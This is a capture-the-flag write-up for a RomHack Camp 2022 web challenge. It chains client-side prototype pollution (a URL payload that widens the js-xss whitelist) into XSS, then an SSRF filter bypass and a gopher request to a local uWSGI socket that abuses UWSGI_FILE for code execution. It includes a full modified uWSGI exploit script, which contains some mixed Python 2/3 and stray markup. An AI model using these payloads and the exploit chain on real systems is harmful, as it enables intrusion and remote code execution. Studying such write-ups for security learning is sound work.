# RomHack Camp 2022 Web Challenge Writeup
This writeup details our journey through the web challenge hosted during RomHack Camp 2022. Although we couldn’t finish the challenge before the deadline, we put tremendous effort into it and eventually managed to complete it. Below, you’ll find an in-depth technical analysis covering every detail—from the challenge’s design to its exploitation—and the final exploit that led to remote code execution (RCE).
It initially appears to be a simple XSS challenge where a user can send a letter and view it.


---
## Challenge Overview
The application allows users to send a message to an administrator. When a user submits a message, a POST request is sent to the `/api/report` endpoint carrying the message UID. This API, in turn, triggers a headless browser that simulates real user interaction.
Below is the function that reports a letter:
```jsx
const reportLetter = async (uid) => {
$('#resp-msg').show()
await fetch('/api/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
uid
}),
})
.then((response) => {
location.href = '/';
})
.catch((error) => {
console.error(error);
});
}
```
## Let’s Understand the Application
By examining the source code, we can enumerate several endpoints:
```jsx
@web.route("/")
def index():
return render_template('index.html')
@web.route("/letter")
def letter():
return render_template('letter.html')
@api.route('/create', methods=['POST'])
def createLetter():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
userLetter = data.get('userLetter', '')
userEmoji = data.get('userEmoji', '')
if not userLetter or not userEmoji:
return response('Missing required parameters!', 401)
uid = str(uuid.uuid4())
try:
newLetter = Letter(uid=uid, letter=userLetter, emoji=userEmoji)
db.session.add(newLetter)
db.session.commit()
return jsonify({'message': 'Letter created successfully', 'uid': uid})
except:
return response('Something went wrong', 500)
@api.route('/letter', methods=['POST'])
def viewLetter():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
uid = data.get('uid', '')
if not uid:
return response('Missing required parameters!', 401)
userLetter = Letter.query.filter_by(uid=uid).first()
if not userLetter:
return response('Letter does not exist', 403)
return userLetter.to_dict()
@api.route('/report', methods=['POST'])
def report_issue():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
uid = data.get('uid', '')
if not uid:
return response('Missing required parameters!', 401)
visit_letter(uid)
return response('Letter reported successfully!')
@web.route('/login', methods=['GET'])
def login():
return render_template('login.html')
@api.route('/login', methods=['POST'])
def user_login():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('Missing required parameters!', 401)
user = User.query.filter_by(username=username).first()
if not user or not user.password == password:
return response('Invalid username or password!', 403)
login_user(user)
return response('User authenticated successfully!')
@web.route('/admin')
@login_required
def dashboard():
with open(current_app.config['EMOJI_PACK_PATH']) as epack:
emojiContent = epack.read()
return render_template('admin.html', emojiContent=emojiContent)
@api.route('/admin/emoji-pack/update', methods=['POST'])
@login_required
def emojiUpdate():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
emojiData = data.get('emojiData', '')
if not emojiData:
return response('Missing required parameters!', 401)
with open(current_app.config['EMOJI_PACK_PATH'], 'w') as epack:
epack.write(emojiData)
return response('Emoji pack updated successfully!')
@api.route('/admin/emoji-pack/import', methods=['POST'])
@login_required
def emojiImport():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
emojiURL = data.get('emojiURL', '')
if not emojiURL:
return response('Missing required parameters!', 401)
result = retireve_json(emojiURL)
if (type(result)) is not dict:
return response(result, 401)
with open(current_app.config['EMOJI_PACK_PATH'], 'w') as epack:
epack.write(result)
return response('Emoji pack updated successfully!')
```
From the above, note the presence of some **special** endpoints that are accessible only to the admin user:
- `/admin/emoji-pack/update` ← allows writing directly to `current_app.config['EMOJI_PACK_PATH']`
- `/admin/emoji-pack/import` ← accepts a URL that will be processed by `retireve_json` to update the same file
Additionally, two protected endpoints are evident:
- `/admin/emoji-pack/update` is used to update the emoji pack stored at the path specified in the configuration.
- `/admin/emoji-pack/import` imports an emoji pack from a remote source.
To create a letter, the client issues a POST request to `/api/create` with two parameters:
- `userLetter`: the message body
- `userEmoji`: the emoticon that will be set as the background texture image
For example, the client code is as follows:
```python
await fetch('/api/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
userLetter,
userEmoji
}),
})
```
After this POST request, the user is redirected to `/letter?uid=`, where the letter they just sent is displayed.
To understand how the letter page works, review its source code:
```html
<script src="/static/js/bootstrap.bundle.min.js"></script>
<script src="/static/js/jquery-3.6.0.min.js"></script>
<script src="/static/js/jquery.parseparams.js"></script>
<script src="/static/js/loader.js"></script>
<script src="/static/js/xss.js"></script>
<script src="/static/js/letter.js"></script>
```
```jsx
window.onload = () => {
params = $.parseParams(location.search);
if (!params.hasOwnProperty('uid')) location.href = '/';
loadLetter(params.uid);
$('#reportLetter').on('click', () => { reportLetter(params.uid) });
}
const loadLetter = async (uid) => {
await fetch('/api/letter', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
uid
}),
})
.then((response) => response.json()
.then((resp) => {
if (response.status != 200) {
location.href = '/';
}
$('.emoji-pattern').html(filterXSS(resp.emoji));
$('#letterContent').text(filterXSS(resp.letter));
}))
.catch((error) => {
console.error(error);
});
}
```
When the page loads, `location.search` is parsed by `jquery.parseparams.js` and a POST request is made to `/api/letter` to retrieve the message body and the emoji pattern associated with the given UID.
The critical part here is:
```jsx
$('.emoji-pattern').html(filterXSS(resp.emoji));
```
This line allows setting HTML via the `userEmoji` parameter. However, the input is sanitized by the `filterXSS()` function—a library used to prevent XSS by filtering out dangerous tags and attributes (see [js-xss on GitHub](https://github.com/leizongmin/js-xss)). The library works by either allowing or disallowing tags and attributes based on predefined or custom whitelists.
---
## Client-Side Prototype Pollution → XSS
The sanitization library checks user input for malicious HTML attributes (like `onerror`) and tags (such as `<script>`). It does so by comparing the content against a predefined list contained within an `options` object:
```jsx
options.whiteList = options.whiteList || DEFAULT.whiteList;
options.onTag = options.onTag || DEFAULT.onTag;
options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr;
options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag;
options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr;
options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue;
options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml
```
If we can achieve prototype pollution, we can modify the whitelist and allow malicious tags or attributes. The `jquery.parseparams.js` library is vulnerable to client-side prototype pollution. Any user-controlled JSON property, query string, or hash parameter converted into a JavaScript object and merged with another object can be used for this purpose. For example, using property keys like `__proto__` enables an attacker to assign properties to `Object.prototype` or other global prototypes.
Exploiting this, we can pollute the whitelist with our malicious tag by appending the following payload to the URL:
```
&__proto__.whiteList.img[0]=onerror&__proto__.whiteList.img[1]=src
```
Without pollution, the sanitization works correctly:

With pollution, the filter is bypassed:

### Steps to Achieve XSS
1. **Send a POST request to `/api/create`** with our XSS payload in the `userEmoji` parameter.

2. **Visit `/letter?uid=UID_JUST_CREATED`** with the appended prototype pollution payload:
```
/letter?uid=UID_JUST_CREATED&__proto__.whiteList.img[0]=onerror&__proto__.whiteList.img[1]=src
```


---
## XSS → RCE
Now that we have achieved XSS, the next step is to escalate to remote code execution (RCE). But where is the flag?
Upon inspecting the source code, we discovered that the flag is stored in `/root/flag` and the only method to read it is via the `/readflag` SUID binary. Thus, obtaining RCE is essential to retrieve the flag.
```bash
# Copy flag
COPY flag.txt /root/flag
# Add readflag binary
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
```
This was the most challenging part of the challenge.
Since we already have XSS, we can access admin endpoints. This allows us to write to a file and import a file via pycurl.
```python
import os, pycurl, json
from urllib.parse import urlparse
generate = lambda x: os.urandom(x).hex()
def request(url):
try:
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.TIMEOUT, 10)
c.setopt(c.VERBOSE, True)
c.setopt(c.FOLLOWLOCATION, True)
c.setopt(c.HTTPHEADER, [
'Accept: application/json',
'Content-Type: application/json'
])
resp = c.perform_rb().decode('utf-8', errors='ignore')
c.close()
return resp
except pycurl.error as e:
return 'Something went wrong!'
def retireve_json(url):
domain = urlparse(url).hostname
scheme = urlparse(url).scheme
if not filter(lambda x: scheme in x, ('http',' https')):
return f'Scheme {scheme} is not allowed'
elif domain and not domain == 'githubusercontent.com':
return f'Domain {domain} is not allowed'
try:
jsonData = json.loads(request(url))
return jsonData
except:
return 'Not a valid JSON file'
```
This code hints at an SSRF vulnerability. To trigger SSRF, we need to bypass the scheme and domain checks. Interestingly, due to how Python’s `filter()` function behaves, it always returns a truthy value, allowing us to use any scheme we want. Furthermore, the second check compares the domain to “githubusercontent.com” only if the domain is set. By adding a third `/` after the scheme, the URL parser sets the domain to `None`, effectively bypassing the check.

But which endpoint can grant us RCE? There were no Redis, PostgreSQL, or MySQL instances available. The only remaining service was **uWSGI**.
**uWSGI** is an open source software application designed to build hosting services. It is a WSGI server implementation commonly used to run Python web applications. Read more in the [official documentation](https://uwsgi-docs.readthedocs.io/en/latest/ThingsToKnow.html).
In our scenario, although the socket is not exposed externally, we can access it via the gopher protocol on `127.0.0.1:5000`.
```bash
[uwsgi]
...
socket = 127.0.0.1:5000
socket = /tmp/uwsgi.sock
...
```
If we can communicate with the socket, we can alter the uWSGI configuration. After studying its protocol and source code, we discovered that uWSGI accepts certain magic variables to adjust its parameters dynamically. One such parameter is `UWSGI_FILE`, which can override the original application binding and load a new file for execution. By writing malicious content to `emoji.json` via the `/admin/emoji-pack/update` endpoint and then sending a gopher request to the uWSGI socket (to set `UWSGI_FILE = /app/application/static/emoji.json`), we can force uWSGI to execute `emoji.json` as a Python script.
We even found a [uWSGI LFI exploit](https://gist.github.com/wofeiwo/9f38ef8f8562e28d741638d6de3891f6/) on GitHub, which we modified slightly to output the SSRF payload using a gopher attack.
```python
#!/usr/bin/python
# coding: utf-8
# Author: wofeiwo@80sec.com
# Edited by: frevadiscor **(added gopher mode that prints out the link for SSRF attack)**
# Last modified: 2022-10-05
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
import urllib
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, body):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'gopher':
a = pack_uwsgi_vars(var) + body.encode('utf8')
return 'gopher:///'+addr_and_port+'/_'+urllib.quote(a)
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
while 1:
data = s.recv(4096)
if not data:
break
response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload_url, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, None)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload_url,
'SCRIPT_NAME': '/hacktivesec'
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client and LFI exploit. You can use this program to run a specific wsgi file remotely.
The file must exist on the server side.
"""
parser = argparse.ArgumentParser(description=desc)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix',**'gopher'**])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 127.0.0.1:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-p', '--payload', nargs='?', required=True,
help='Exploit payload: The exploit path, must have this. ',
dest='payload_path')
parser.add_argument('-t', '--target', nargs='?', default='/hacktivesec',
help='Request URI optionally containing hostname',
dest='target_url')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
print curl(args.mode, args.uwsgi_addr, args.payload_path, args.target_url)
if __name__ == '__main__':
main()
```
---
## Build the Exploit
**Tl;dr Recap of our attack:**
- **Step 1:** Create a script that will:
- Instruct the bot to write a malicious Python script to `/app/application/static/emoji.json` via a POST request to `/admin/emoji-pack/update`
- Force the bot to issue a POST request to `/admin/emoji-pack/import` to generate an SSRF gopher request to the uWSGI socket, setting `UWSGI_FILE = /app/application/static/emoji.json`
- **Step 2:** Create a letter embedding the malicious script in the `userEmoji` parameter.
- **Step 3:** Obtain the UID of the created letter and send a POST request to `/api/report` with the UID plus the prototype pollution payload.